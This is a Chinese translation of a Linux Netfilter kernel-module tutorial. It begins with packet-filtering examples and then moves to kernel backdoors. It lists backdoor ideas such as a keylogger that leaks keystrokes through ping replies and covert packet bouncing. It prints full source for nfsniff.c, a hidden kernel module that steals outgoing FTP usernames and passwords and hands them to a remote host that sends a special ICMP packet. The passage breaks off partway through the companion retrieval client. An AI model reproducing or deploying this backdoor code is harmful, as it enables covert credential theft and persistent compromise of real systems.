深入Linux网络核心堆栈(对于netfilter的用法和讲解)

it2022-05-05  119

http://blog.csdn.net/wswifth/article/details/5115475

 

    注册一个hook函数是围绕nf_hook_ops数据结构的一个非常简单的操作,nf_hook_ops数据结构在linux/netfilter.h中定义,该数据结构的定义如下:          struct nf_hook_ops {                  struct list_head list;                  /* 此下的值由用户填充 */                  nf_hookfn *hook;                  int pf;                  int hooknum;                  /* Hook以升序的优先级排序 */                  int priority;          };    该数据结构中的list成员用于维护Netfilter hook的列表,并且不是用户在注册hook时需要关心的重点。hook成员是一个指向nf_hookfn类型的函数的指针,该函数是这个hook被调用时执行的函数。nf_hookfn同样在linux/netfilter.h中定义。pf这个成员用于指定协议族。有效的协议族在linux/socket.h中列出,但对于IPv4我们希望使用协议族PF_INET。hooknum这个成员用于指定安装的这个函数对应的具体的hook类型,其值为表1中列出的值之一。最后,priority这个成员用于指定在执行的顺序中,这个hook函数应当在被放在什么地方。对于IPv4,可用的值在linux/netfilter_ipv4.h的nf_ip_hook_priorities枚举中定义。出于示范的目的,在后面的模块中我们将使用NF_IP_PRI_FIRST。        注册一个Netfilter hook需要调用nf_register_hook()函数,以及用到一个nf_hook_ops数据结构。nf_register_hook()函数以一个nf_hook_ops数据结构的地址作为参数并且返回一个整型的值。但是,如果你真正的看了在net/core/netfilter.c中的nf_register_hook()函数的实现代码,你会发现该函数总是返回0。以下提供的是一个示例代码,该示例代码简单的注册了一个丢弃所有到达的数据包的函数。该代码同时展示了Netfilter的返回值如何被解析。    示例代码1 : Netfilter hook的注册/* * 安装一个丢弃所有到达的数据包的Netfilter hook函数的示例代码 */#define __KERNEL__#define MODULE#include <linux/module.h>#include <linux/kernel.h>#include <linux/netfilter.h>#include <linux/netfilter_ipv4.h>/* 用于注册我们的函数的数据结构 */static struct nf_hook_ops nfho;/* 注册的hook函数的实现 */unsigned int hook_func(unsigned int hooknum,                       struct sk_buff **skb,                       const struct net_device *in,                       const struct net_device *out,                       int (*okfn)(struct sk_buff *)){    return NF_DROP;           /* 丢弃所有的数据包 */}/* 初始化程序 */int init_module(){    /* 填充我们的hook数据结构 */    nfho.hook = hook_func;         /* 处理函数 */    nfho.hooknum  = NF_IP_PRE_ROUTING; /* 使用IPv4的第一个hook */    nfho.pf       = PF_INET;    nfho.priority = NF_IP_PRI_FIRST;   /* 让我们的函数首先执行 */    nf_register_hook(&nfho);    return 0;}/* 清除程序 */void cleanup_module(){    nf_unregister_hook(&nfho);}    这就是全部内容,从示例代码1中,你可以看到,注销一个Netfilter hook是一件很简单事情,只需要调用nf_unregister_hook()函数,并且以你之前用于注册这个hook时用到的相同的数据结构的地址作为参数。    -- [4 - Netfilter 基本的数据报过滤技术---- [4.1 - 深入hook函数    现在是到了看看什么数据被传递到hook函数中以及这些数据如何被用于做过滤选择的时候了。那么,让我们更深入的看看nf_hookfn函数的原型吧。这个函数原型在linux/netfilter.h中给出,如下:          typedef unsigned int nf_hookfn(unsigned int hooknum,                                         struct sk_buff **skb,                                         const struct net_device *in,                                         const struct net_device *out,                                         int (*okfn)(struct sk_buff *));    nf_hookfn函数的第一个参数用于指定表1中给出的hook类型中的一个。第二个参数更加有趣,它是一个指向指针的指针,该指针指向的指针指向一个sk_buff数据结构,网络堆栈用sk_buff数据结构来描述数据包。这个数据结构在linux/skbuff.h中定义,由于它的内容太多,在这里我将仅列出其中有意义的部分。    sk_buff数据结构中最有用的部分可能就是那三个描述传输层包头(例如:UDP, TCP, ICMP, SPX)、网络层包头(例如:IPv4/6, IPX, RAW)以及链路层包头(例如:以太网或者RAW)的联合(union)了。这三个联合的名字分别是h、nh以及mac。这些联合包含了几个结构,依赖于具体的数据包中使用的协议。使用者应当注意:传输层包头和网络层包头可能是指向内存中的同一个位置。这是TCP数据包可能出现的情况,其中h和nh都应当被看作是指向IP头结构的指针。这意味着尝试通过h->th获取一个值,并认为该指针指向一个TCP头,将会得到错误的结果。因为h->th实际上是指向的IP头,与nh->iph得到的结果相同。    接下来让我们感兴趣的其它部分是len和data这两个域。len指定了从data开始的数据包中的数据的总长度。好了,现在我们知道如何在sk_buff数据结构中分别访问协议头和数据包中的数据了。Netfilter hook函数中有用的信息中其它的有趣的部分是什么呢?    紧跟在skb之后的两个参数是指向net_device数据结构的指针,net_device数据结构被Linux内核用于描述所有类型的网络接口。这两个参数中的第一个——in,用于描述数据包到达的接口,毫无疑问,参数out用于描述数据包离开的接口。必须明白,在通常情况下,这两个参数中将只有一个被提供。例如:参数in只用于NF_IP_PRE_ROUTING和NF_IP_LOCAL_IN hook,参数out只用于NF_IP_LOCAL_OUT和NF_IP_POST_ROUTING hook。在这一个阶段中,我还没有测试对于NF_IP_FORWARD hook,这两个参数中哪些是有效的,但是如果你能在使用之前先确定这些指针是非空的,那么你是非常优秀的!    最后,传递给hook函数的最后一个参数是一个命名为okfn函数指针,该函数以一个sk_buff数据结构作为它唯一的参数,并且返回一个整型的值。我不是很确定这个函数是干什么用的,在net/core/netfilter.c中查看,有两个地方调用了这个okfn函数。这两个地方是分别在函数nf_hook_slow()中以及函数nf_reinject()中,在其中的某个位置,当Netfilter hook的返回值为NF_ACCEPT时被调用。如果任何人有更多的关于okfn函数的信息,请务必告知。        ** 译注:Linux核心网络堆栈中有一个全局变量 : struct list_head nf_hooks[NPROTO][NF_MAX_HOOKS],该变量是一个二维数组,其中第一维用于指定协议族,第二维用于指定hook的类型(表1中定义的类型)。注册一个Netfilter hook实际就是在由协议族和hook类型确定的链表中添加一个新的节点。         以下代码摘自 net/core/netfilter,nf_register_hook()函数的实现:int nf_register_hook(struct nf_hook_ops *reg){    struct list_head *i;    br_write_lock_bh(BR_NETPROTO_LOCK);    for (i = nf_hooks[reg->pf][reg->hooknum].next;          i != &nf_hooks[reg->pf][reg->hooknum];          i = i->next) {        if (reg->priority < ((struct nf_hook_ops *)i)->priority)            break;    }    list_add(®->list, i->prev);    br_write_unlock_bh(BR_NETPROTO_LOCK);    return 0;}    Netfilter中定义了一个宏NF_HOOK,作者在前面提到的nf_hook_slow()函数实际上就是NF_HOOK宏定义替换的对象,在NF_HOOK中执行注册的hook函数。NF_HOOK在Linux核心网络堆栈的适当的地方以适当的参数调用。例如,在ip_rcv()函数(位于net/ipv4/ip_input.c)的最后部分,调用NF_HOOK函数,执行NF_IP_PRE_ROUTING类型的hook。ip_rcv()是Linux核心网络堆栈中用于接收IPv4数据包的主要函数。在NF_HOOK的参数中,页包含一个okfn函数指针,该函数是用于数据包被接收后完成后续的操作,例如在ip_rcv中调用的NF_HOOK中的okfn函数指针指向ip_rcv_finish()函数(位于net/ipv4/ip_input.c),该函数用于IP数据包被接收后的诸如IP选项处理等后续处理。        如果在内核编译参数中取消CONFIG_NETFILTER宏定义,NF_HOOK宏定义直接被替换为okfn,内核代码中的相关部分如下(linux/netfilter.h):#ifdef CONFIG_NETFILTER...#ifdef CONFIG_NETFILTER_DEBUG#define NF_HOOK nf_hook_slow#else#define NF_HOOK(pf, hook, skb, indev, outdev, okfn)            /(list_empty(&nf_hooks[(pf)][(hook)])                    /? (okfn)(skb)                                /: nf_hook_slow((pf), (hook), (skb), (indev), (outdev), (okfn)))#endif...#else /* !CONFIG_NETFILTER */#define NF_HOOK(pf, hook, skb, indev, outdev, okfn) (okfn)(skb)#endif /*CONFIG_NETFILTER*/        可见okfn函数是必不可少的,当Netfilter被启用时,它用于完成接收的数据包后的后续操作,如果不启用Netfilter做数据包过滤,则所有的数据包都被接受,直接调用该函数做后续操作。        ** 译注完        现在,我们已经了解了我们的hook函数接收到的信息中最有趣和最有用的部分,是该看看我们如何以各种各样的方式来利用这些信息来过滤数据包的时候了!        ----[4.2 - 基于接口进行过滤    这应该是我们能做的最简单的过滤技术了。还记得我们的hook函数接收的参数中的那些net_device数据结构吗?使用相应的net_device数据结构的name这个成员,你就可以根据数据包的源接口和目的接口来选择是否丢弃它。如果想丢弃所有到达接口eth0的数据包,所有你需要做的仅仅是将in->name的值与"eth0"做比较,如果名字匹配,那么hook函数简单的返回NF_DROP即可,数据包会被自动销毁。就是这么简单!完成该功能的示例代码见如下的示例代码2。注意,Light-Weight FireWall模块将会提供所有的本文提到的过滤方法的简单示例。它还包含了一个IOCTL接口以及用于动态改变其特性的应用程序。        示例代码2 : 基于源接口的数据包过滤/** 安装一个丢弃所有进入我们指定接口的数据包的Netfilter hook函数的示例代码*/#define __KERNEL__#define MODULE#include <linux/module.h>#include <linux/kernel.h>#include <linux/netdevice.h>#include <linux/netfilter.h>#include <linux/netfilter_ipv4.h>/* 用于注册我们的函数的数据结构 */static struct nf_hook_ops nfho;/* 我们丢弃的数据包来自的接口的名字 */static char *drop_if = "lo";/* 注册的hook函数的实现 */unsigned int hook_func(unsigned int hooknum,                       struct sk_buff **skb,                       const struct net_device *in,                       const struct net_device *out,                       int (*okfn)(struct sk_buff *)){    if (strcmp(in->name, drop_if) == 0) {        printk("Dropped packet on %s.../n", drop_if);        return NF_DROP;    } else {        return NF_ACCEPT;    }}/* 初始化程序 */int init_module(){    /* 填充我们的hook数据结构 */    nfho.hook     = hook_func;         /* 处理函数 */    nfho.hooknum  = NF_IP_PRE_ROUTING; /* 使用IPv4的第一个hook */    nfho.pf       = PF_INET;    nfho.priority = NF_IP_PRI_FIRST;   /* 让我们的函数首先执行 */    nf_register_hook(&nfho);        return 0;}    /* 清除程序 */void cleanup_module(){    nf_unregister_hook(&nfho);}    是不是很简单?接下来,让我们看看基于IP地址的过滤。    ----[ 4.3 - 基于地址进行过滤    与根据数据包的接口进行过滤类似,基于数据包的源或目的IP地址进行过滤同样简单。这次我们感兴趣的是sk_buff数据结构。还记得skb参数是一个指向sk_buff数据结构的指针的指针吗?为了避免犯错误,声明一个另外的指向skb_buff数据结构的指针并且将skb指针指向的指针赋值给这个新的指针是一个好习惯,就像这样:          struct sk_buff *sb = *skb;    /* Remove 1 level of indirection* /    这样,你访问这个数据结构的元素时只需要反引用一次就可以了。获取一个数据包的IP头通过使用sk_buff数据结构中的网络层包头来完成。这个头位于一个联合中,可以通过sk_buff->nh.iph这样的方式来访问。示例代码3中的函数演示了当得到一个数据包的sk_buff数据结构时,如何利用它来检查收到的数据包的源IP地址与被禁止的地址是否相同。这些代码是直接从LWFW中取出来的,唯一不同的是LWFW统计的更新被移除。        示例代码3 : 检查收到的数据包的源IP          unsigned char *deny_ip = "/x7f/x00/x00/x01";  /* 127.0.0.1 */            ...          static int check_ip_packet(struct sk_buff *skb)          {              /* We don't want any NULL pointers in the chain to               * the IP header. */              if (!skb )return NF_ACCEPT;              if (!(skb->nh.iph)) return NF_ACCEPT;                        if (skb->nh.iph->saddr == *(unsigned int *)deny_ip) {               return NF_DROP;              }              return NF_ACCEPT;          }        这样,如果数据包的源地址与我们设定的丢弃数据包的地址匹配,那么该数据包将被丢弃。为了使这个函数能按预期的方式工作,deny_ip的值应当以网络字节序(Big-endian,与Intel相反)存放。虽然这个函数不太可能以一个空的指针作为参数来调用,带一点点偏执狂从来不会有什么坏处。当然,如果错误确实发生了,那么该函数将会返回NF_ACCEPT。这样Netfilter可以继续处理这个数据包。示例代码4展现了用于演示将基于接口的过滤略做修改以丢弃匹配给定IP地址的数据包的简单模块。        示例代码4 : 基于数据包源地址的过滤/* 安装丢弃所有来自指定IP地址的数据包的Netfilter hook的示例代码 */#define __KERNEL__#define MODULE#include <linux/module.h>#include <linux/kernel.h>#include <linux/skbuff.h>#include <linux/ip.h>                  /* For IP header */#include <linux/netfilter.h>#include <linux/netfilter_ipv4.h>/* 用于注册我们的函数的数据结构 */static struct nf_hook_ops nfho;/* 我们要丢弃的数据包来自的地址,网络字节序 */static unsigned char *drop_ip = "/x7f/x00/x00/x01";/* 注册的hook函数的实现 */unsigned int hook_func(unsigned int hooknum,                       struct sk_buff **skb,                       const struct net_device *in,                       const struct net_device *out,                       int (*okfn)(struct sk_buff *)){    struct sk_buff *sb = *skb;        // 译注:作者提供的代码中比较地址是否相同的方法是错误的,见注释掉的部分    if (sb->nh.iph->saddr == *(unsigned int *)drop_ip) {    // if (sb->nh.iph->saddr == drop_ip) {        printk("Dropped packet from... %d.%d.%d.%d/n",      *drop_ip, *(drop_ip + 1),  *(drop_ip + 2), *(drop_ip + 3));        return NF_DROP;    } else {        return NF_ACCEPT;    }}/* 初始化程序 */int init_module(){    /* 填充我们的hook数据结构 */    nfho.hook       = hook_func;         /* 处理函数 */    nfho.hooknum  = NF_IP_PRE_ROUTING; /* 使用IPv4的第一个hook */    nfho.pf       = PF_INET;    nfho.priority = NF_IP_PRI_FIRST;   /* 让我们的函数首先执行 */    nf_register_hook(&nfho);    return 0;}/* 清除程序 */void cleanup_module(){    nf_unregister_hook(&nfho);}

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~先看到这~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~----[ 4.4 - 基于TCP端口进行过滤    另一个要实现的简单规则是基于数据包的TCP目的端口进行过滤。这只比检查IP地址的要求要高一点点,因为我们需要自己创建一个TCP头的指针。还记得我们前面讨论的关于传输层包头与网络层包头的内容吗?获取一个TCP头的指针是一件简单的事情——分配一个tcphdr数据结构(在linux/tcp.h中定义)的指针,并将它指向我们的数据包中IP头之后的数据。或许一个例子的帮助会更大一些,示例代码5给出了检查数据包的TCP目的端口是否与某个我们要丢弃数据包的端口匹配的代码。与示例代码3一样,这些代码摘自LWFW。        示例代码5 : 检查收到的数据包的TCP目的端口          unsigned char *deny_port = "/x00/x19";   /* port 25 */      ...          static int check_tcp_packet(struct sk_buff *skb)          {              struct tcphdr *thead;              /* We don't want any NULL pointers in the chain               * to the IP header. */              if (!skb ) return NF_ACCEPT;              if (!(skb->nh.iph)) return NF_ACCEPT;              /* Be sure this is a TCP packet first */              if (skb->nh.iph->protocol != IPPROTO_TCP) {                  return NF_ACCEPT;              }              thead = (struct tcphdr *)(skb->data +                                       (skb->nh.iph->ihl * 4));              /* Now check the destination port */              if ((thead->dest) == *(unsigned short *)deny_port) {                  return NF_DROP;              }                    return NF_ACCEPT;          }    确实很简单!不要忘了,要让这个函数工作,deny_port必须是网络字节序。这就是数据包过滤的基础了,你应当已经清楚的理解了对于一个特定的数据包,如何获取你想要的信息。现在,是该进入更有趣的内容的时候了!    --[ 5 - Netfilter hook的其它可能用法    在这里,我将提出其它很酷的利用Netfilter hook的点子,5.1节将简单的给出精神食粮,而5.2节将讨论和给出可以工作的基于内核的FTP密码嗅探器的代码,它的远程密码获取功能是确实可用的。事实上,它工作的令我吃惊的好,并且我编写了它。    ----[ 5.1 - 隐藏后门的守护进程    核心模块编程也许是Linux开发中最有趣的部分之一了,在内核中编写代码意味着你在一个仅受限于你的想象力的地方写代码。以恶意的观点来看,你可以隐藏文件、进程,并且做各式各样很酷的,任何的rootkit能够做的事情。那么,以不太恶意的观点来看(是的,持这中观点人们的确存在),你可以隐藏文件、进程以及干各式各样的事情。内核真是一个迷人的乐园!        有了赋予内核级程序员的强大力量,很多事情成为可能。其中最有趣的(也是让系统管理员恐慌的)一个就是嵌入到内核中的后门。毕竟,如果后门不作为一个进程运行,那么我们怎么知道它的运行?当然,还是有办法让你的内核揪出这样的后门来,但是它们可不像运行ps命令一样容易和简单。现今,将后门代码放到内核中去的点子已经并不新鲜了。但是,我在这里所提出的是安放一个用作内核后门的简单的网络服务。你猜对了,正是Netfilter hook!        如果你已经具备必要的技能并且情愿以做试验的名义使你的内核崩溃,那么你就可以构建简单但是有用的,完全位于内核中的,可以远程访问的网络服务了。基本上一个Netfilter hook可以通过观察收到的数据包来查找一个“魔法”数据包,并且当接收到这个“魔法”数据包时干指定的事情。结果可以通过Netfilter hook来发送。并且该hook函数可以返回NF_STOLEN,以使得收到的“魔法”数据包可以走得更远。但是要注意,当以这种方式来发送时,输出数据包对于输出Netfilter hook仍然是可见的。因此用户空间完全不知道这个“魔法”数据包的曾经到达,但是它们还是能看到你送所出的。当心!因为在泄密主机上的嗅探器不能看到这个包并不意味着在其它中间宿主主机上的嗅探器也看不到这个包。        kossak与lifeline曾为Phrack写了一篇精彩的文章,该文描述了如何通过注册数据包类型处理器来完成这样的功能。虽然本文涉及的是Netfilter hook,我仍然建议阅读他们的这篇文章(第55期,文件12),因为它是一篇给出了一些非常有趣的点子的有趣读物。        那么,后门Netfilter hook可以干些什么工作呢?以下是一些建议:    -- 远程访问击键记录器(key-logger)。模块记录击键,并且当远程主机发送一个PING请求时,结果被送到该主机。这样,可以生成一个类似于稳定的(非洪水的)PING应答流的击键信息的流。当然,你可能想要实现一个简单的加密,这样,ASCII键不会立即暴露它们自己,并且某些警觉的系统管理员会想:“坚持,我以前都是通过我的SSH会话来键入那些的!Oh $%@T%&!”。    -- 各种简单的管理员任务,例如获取当前登录到主机的用户的列表或责获取打开的网络连接的信息。    -- 并非一个真正的后门,而是位于网络边界的模块,并且阻挡任何被疑为来自特洛伊木马、ICMP隐蔽通道或者像KaZaa这样的文件共享工具的通信。    -- 文件传输“服务器”。我最近已经实现了这个主意,由此引起的Linux核心编程是数小时的乐趣:)    -- 数据包跳跃。重定向目的为木马主机指定端口的数据包到其它的IP主机和端口,并且从那台主机发回数据包到发起者。没有进程被派生,并且最妙的是,没有网络套接字被打开。    -- 上面描述的数据包跳跃用于与网络中的关键系统以半隐蔽方式通信。例如:配置路由器等。    -- FTP/POP3/Telnet密码嗅探器。嗅探输出的密码并保存相关信息,直到进入的“魔法”数据包要求获取它们。        以上只是一些想法的简短的列表,其中最后一个想法是我们在接下来的一节中将要真正详细讨论的。它提供了一个很好的了解更多的深藏于核心网络代码中的函数的机会。----[ 5.2 - 基于内核的FTP密码嗅探器    在这里展现的是一个简单的,原理性的,用做Netfilter后门的模块。该模块嗅探输出的FTP数据包,查找对于一个FTP服务器一个USER于PASS命令对。当这样一个命令对被发现后,该模块接下来将等待一个“魔法”ICMP ECHO(ping)数据包,该数据包应当足够大,使其能返回服务器的IP地址、用户名以及密码。同时提供了一个快速的发送一个“魔法”数据包,获取返回然后打印返回信息的技巧。一旦用户名/密码对从模块读取后,模块将接着查找下一对。注意,模块每次只保存一个对。以上是简要的浏览,是该展示更多的细节,来看模块如何做到这些的时候了。        当模块加载时,模块的init_module()函数简单的注册了两个Netfilter hook。第一个用于查看输入的数据包(在NF_IP_PRE_ROUTING处),尝试发现“魔法”ICMP数据包。接下来的一个用于查看离开该模块被安装的主机的数据包(在NF_IP_POST_ROUTING处),这个函数正是搜索和捕获FTP的USER和PASS数据包的地方。cleanup_module()函数只是简单的注销这两个hook。        watch_out()是用于hook NF_IP_POST_ROUTING的函数,查看这个函数你可以看到,它的执行的操作非常简单。当一个数据包进入这个函数过后,将经过各种检查,以确定它是一个FTP数据包。如果它不是一个FTP数据包,那么立即返回NF_ACCEPT。如果它是一个FTP数据包,那么该模块进行检查是否已经存在一个用户名/密码对。如果存在(以have_pair的非零值标识),那么返回NF_ACCEPT,该数据包最终能够离开该系统。否则,check_ftp()函数被调用,这是密码提取实际发生的地方。如果没有先前的数据包已经被接收,那么target_ip和target_port变量应当被清除。        check_ftp()开始于从数据包的开始查找"USER","PASS"或"QUIT"。注意直到USER命令处理之后才处理PASS命令。这样做的目的是为了防止在某些情况下PASS命令先于USER命令被接收到以及在USER到达之前连接中断而导致的死锁的发生。同样,如果QUIT命令到达时仅有用户名被捕获,那么将重置操作,开始嗅探一个新的连接。当一个USER或者PASS命令到达时,如果必要完整性校验通过,则记录下命令的参数。正常运行下,在check_ftp()函数完成之前,检查是否已经有了一个有效的用户名和密码串。如果是,则设置have_pair的值为非零并且在当前的用户名/密码对被获取之前不会再抓取其它的用户名或密码。        到目前为止你已经看到了该模块如何安装它自己以及如何开始搜寻待记录的用户名和密码。接下来你将看到当指定的“魔法”数据包到达时会发生什么。在此需特别注意,因为这是在整个开发过程中出现的最大难题。如果我没记错的话,共遭遇了16个核心错误:)。当数据包进安装该模块的主机时,watch_in()检查每一个数据包以查看其是否是一个“魔法”数据包。如果数据包不能提供足以证明它是一个“魔法”数据包的信息,那么它将被被watch_in()忽略,简单的返回一个NF_ACCEPT。注意“魔法”数据包的标准之一是它们必须有足够的空间来存放IP地址以及用户名和密码串。这使得发送应答更加容易。当然,可以重新分配一个新的sk_buff,但是正确的获取所有必要的域得值可能会比较困难,并且你还必须得正确的获取它们!因此,与其为我们的应答数据包创建一个新的数据结构,不如简单的调整请求数据包的数据结构。为了成功的返回数据包,需要做几个改动。首先,交换IP地址,并且sk_buff数据结构中描述数据包类型的域(pkt_type)应当被换成PACKET_OUTGOING,这些宏在linux/if_packet.h中定义。接下来应当小心的是确定包含了任意的链路层头。我们接收到的数据包的sk_buff数据结构的数据域指向链路层头之后,并且它是指向被发送的数据包的数据的开始的数据域。那么对于需要链路层包头(以太网及环回和点对点的raw)的接口,我们将数据域指向mac.ethernet或者mac.raw结构。为确定这个数据包来自的什么类型的接口你可以查看sb->dev->type的值,其中sb是一个指向sk_buff数据结构的指针。这个域的有效值可以在linux/if_arp.h中找到,但其中最有用的几个在下面的表3中列出。    表3 : 接口类型的常用值类型代码        接口类型ARPHRD_ETHER    以太网ARPHRD_LOOPBACK    环回设备ARPHRD_PPP        点对点(例如拨号)   最后,我们要做的是真正的复制我们想在的应答中送出的数据。到送出数据包的时候了,dev_queue_xmit()函数以一个指向sk_buff数据结构的指针作为它唯一的参数,在“好的错误”情况下,返回一个负的错误代码。我所说的“好的错误”是什么意思呢?如果你给函数dev_queue_xmit()一个错误构造的套接字缓冲,那么你就会得到一个伴随着内核错误和内核堆栈的dump信息的“不太好的错误”。看看在这里错误如何能被分成两组?最后,watch_in()返回NF_STOLEN,以告诉Netfilter忘掉它曾经见到过这个数据包。如果你已经调用了dev_queue_xmit(),不要返回NF_DROP!这是因为dev_queue_xmit()将释放传递进来的套接字缓冲,而Netfilter会尝试对被NF_DROP的数据包做同样的操作。好了。对于代码的讨论已经足够了,请看具体的代码。      ------[ 5.2.1 - 源代码 : nfsniff.c<++> nfsniff/nfsniff.c/* Simple proof-of-concept for kernel-based FTP password sniffer.* A captured Username and Password pair are sent to a remote host* when that host sends a specially formatted ICMP packet. Here we* shall use an ICMP_ECHO packet whose code field is set to 0x5B* *AND* the packet has enough* space after the headers to fit a 4-byte IP address and the* username and password fields which are a max. of 15 characters* each plus a NULL byte. So a total ICMP payload size of 36 bytes. *//* Written by bioforge,  March 2003 */#define MODULE#define __KERNEL__#include <linux/module.h>#include <linux/kernel.h>#include <linux/skbuff.h>#include <linux/in.h>#include <linux/ip.h>#include <linux/tcp.h>#include <linux/icmp.h>#include <linux/netdevice.h>#include <linux/netfilter.h>#include <linux/netfilter_ipv4.h>#include <linux/if_arp.h>#include <linux/if_ether.h>#include <linux/if_packet.h>#define MAGIC_CODE   0x5B#define REPLY_SIZE   36#define ICMP_PAYLOAD_SIZE  (htons(sb->nh.iph->tot_len) /                   - sizeof(struct iphdr) /                   - sizeof(struct icmphdr))/* THESE values are used to keep the USERname and PASSword until* they are queried. Only one USER/PASS pair will be held at one* time and will be cleared once queried. */static char *username = NULL;static char *password = NULL;static int  have_pair = 0;     /* Marks if we already have a pair *//* Tracking information. Only log USER and PASS commands that go to the* same IP address and TCP port. */static unsigned int target_ip = 0;static unsigned short target_port = 0;/* Used to describe our Netfilter hooks */struct nf_hook_ops  pre_hook;           /* Incoming */struct nf_hook_ops  post_hook;           /* Outgoing *//* Function that looks at an sk_buff that is known to be an FTP packet.* Looks for the USER and PASS fields and makes sure they both come from* the one host as indicated in the target_xxx fields */static void check_ftp(struct sk_buff *skb){   struct tcphdr *tcp;   char *data;   int len = 0;   int i = 0;      tcp = (struct tcphdr *)(skb->data + (skb->nh.iph->ihl * 4));   data = (char *)((int)tcp + (int)(tcp->doff * 4));   /* Now, if we have a username already, then we have a target_ip.    * Make sure that this packet is destined for the same host. */   if (username)     if (skb->nh.iph->daddr != target_ip || tcp->source != target_port)       return;      /* Now try to see if this is a USER or PASS packet */   if (strncmp(data, "USER ", 5) == 0) {          /* Username */      data += 5;            if (username)  return;            while (*(data + i) != '/r' && *(data + i) != '/n'         && *(data + i) != '/0' && i < 15) {     len++;     i++;      }            if ((username = kmalloc(len + 2, GFP_KERNEL)) == NULL)    return;      memset(username, 0x00, len + 2);      memcpy(username, data, len);      *(username + len) = '/0';           /* NULL terminate */   } else if (strncmp(data, "PASS ", 5) == 0) {   /* Password */      data += 5;      /* If a username hasn't been logged yet then don't try logging       * a password */      if (username == NULL) return;      if (password)  return;            while (*(data + i) != '/r' && *(data + i) != '/n'         && *(data + i) != '/0' && i < 15) {     len++;     i++;      }      if ((password = kmalloc(len + 2, GFP_KERNEL)) == NULL)    return;      memset(password, 0x00, len + 2);      memcpy(password, data, len);      *(password + len) = '/0';           /* NULL terminate */   } else if (strncmp(data, "QUIT", 4) == 0) {      /* Quit command received. If we have a username but no password,       * clear the username and reset everything */      if (have_pair)  return;      if (username && !password) {     kfree(username);     username = NULL;     target_port = target_ip = 0;     have_pair = 0;          return;      }   } else {      return;   }   if (!target_ip)     target_ip = skb->nh.iph->daddr;   if (!target_port)     target_port = tcp->source;   if (username && password)     have_pair++;               /* Have a pair. Ignore others until                    * this pair has been read. *///   if (have_pair)//     printk("Have password pair!  U: %s   P: %s/n", username, password);}/* Function called as the POST_ROUTING (last) hook. It will check for* FTP traffic then search that traffic for USER and PASS commands. */static unsigned int watch_out(unsigned int hooknum,                  struct sk_buff **skb,                  const struct net_device *in,                  const struct net_device *out,                  int (*okfn)(struct sk_buff *)){   struct sk_buff *sb = *skb;   struct tcphdr *tcp;      /* Make sure this is a TCP packet first */   if (sb->nh.iph->protocol != IPPROTO_TCP)     return NF_ACCEPT;               /* Nope, not TCP */      tcp = (struct tcphdr *)((sb->data) + (sb->nh.iph->ihl * 4));      /* Now check to see if it's an FTP packet */   if (tcp->dest != htons(21))     return NF_ACCEPT;               /* Nope, not FTP */      /* Parse the FTP packet for relevant information if we don't already    * have a username and password pair. */   if (!have_pair)     check_ftp(sb);      /* We are finished with the packet, let it go on its way */   return NF_ACCEPT;}/* Procedure that watches incoming ICMP traffic for the "Magic" packet.* When that is received, we tweak the skb structure to send a reply* back to the requesting host and tell Netfilter that we stole the* packet. */static unsigned int watch_in(unsigned int hooknum,                 struct sk_buff **skb,                 const struct net_device *in,                 const struct net_device *out,                 int (*okfn)(struct sk_buff *)){   struct sk_buff *sb = *skb;   struct icmphdr *icmp;   char *cp_data;               /* Where we copy data to in reply */   unsigned int   taddr;           /* Temporary IP holder */   /* Do we even have a username/password pair to report yet? */   if (!have_pair)     return NF_ACCEPT;        /* Is this an ICMP packet? */   if (sb->nh.iph->protocol != IPPROTO_ICMP)     return NF_ACCEPT;      icmp = (struct icmphdr *)(sb->data + sb->nh.iph->ihl * 4);   /* Is it the MAGIC packet? */   if (icmp->code != MAGIC_CODE || icmp->type != ICMP_ECHO     || ICMP_PAYLOAD_SIZE < REPLY_SIZE) {      return NF_ACCEPT;   }      /* Okay, matches our checks for "Magicness", now we fiddle with    * the sk_buff to insert the IP address, and username/password pair,    * swap IP source and destination addresses and ethernet addresses    * if necessary and then transmit the packet from here and tell    * Netfilter we stole it. Phew... */   taddr = sb->nh.iph->saddr;   sb->nh.iph->saddr = sb->nh.iph->daddr;   sb->nh.iph->daddr = taddr;   sb->pkt_type = PACKET_OUTGOING;   switch (sb->dev->type) {    case ARPHRD_PPP:               /* No fiddling needs doing */      break;    case ARPHRD_LOOPBACK:    case ARPHRD_ETHER:    {       unsigned char t_hwaddr[ETH_ALEN];              /* Move the data pointer to point to the link layer header */       sb->data = (unsigned char *)sb->mac.ethernet;       sb->len += ETH_HLEN; //sizeof(sb->mac.ethernet);       memcpy(t_hwaddr, (sb->mac.ethernet->h_dest), ETH_ALEN);       memcpy((sb->mac.ethernet->h_dest), (sb->mac.ethernet->h_source),          ETH_ALEN);       memcpy((sb->mac.ethernet->h_source), t_hwaddr, ETH_ALEN);         break;    }   };   /* Now copy the IP address, then Username, then password into packet */   cp_data = (char *)((char *)icmp + sizeof(struct icmphdr));   memcpy(cp_data, &target_ip, 4);   if (username)     memcpy(cp_data + 4, username, 16);   if (password)     memcpy(cp_data + 20, password, 16);      /* This is where things will die if they are going to.    * Fingers crossed... */   dev_queue_xmit(sb);   /* Now free the saved username and password and reset have_pair */   kfree(username);   kfree(password);   username = password = NULL;   have_pair = 0;      target_port = target_ip = 0;//   printk("Password retrieved/n");      return NF_STOLEN;}int init_module(){   pre_hook.hook     = watch_in;   pre_hook.pf       = PF_INET;   pre_hook.priority = NF_IP_PRI_FIRST;   pre_hook.hooknum  = NF_IP_PRE_ROUTING;      post_hook.hook     = watch_out;   post_hook.pf       = PF_INET;   post_hook.priority = NF_IP_PRI_FIRST;   post_hook.hooknum  = NF_IP_POST_ROUTING;      nf_register_hook(&pre_hook);   nf_register_hook(&post_hook);      return 0;}void cleanup_module(){   nf_unregister_hook(&post_hook);   nf_unregister_hook(&pre_hook);      if (password)     kfree(password);   if (username)     kfree(username);}<-->------[ 5.2.2 - 源代码 : getpass.c<++> nfsniff/getpass.c/* getpass.c - simple utility to get username/password pair from* the Netfilter backdoor FTP sniffer. Very kludgy, but effective.* Mostly stripped from my source for InfoPig.** Written by bioforge  -  March 2003 */#include <sys/types.h>#include <stdio.h>#include <stdlib.h>#include <unistd.h>#include <string.h>#include <errno.h>#include <sys/socket.h>#include <netdb.h>#include <arpa/inet.h>#ifndef __USE_BSD# define __USE_BSD               /* We want the proper headers */#endif# include <netinet/ip.h>#include <netinet/ip_icmp.h>/* Function prototypes */static unsigned short checksum(int numwords, unsigned short *buff);int main(int argc, char *argv[]){    unsigned char dgram[256];           /* Plenty for a PING datagram */    unsigned char recvbuff[256];    struct ip *iphead = (struct ip *)dgram;    struct icmp *icmphead = (struct icmp 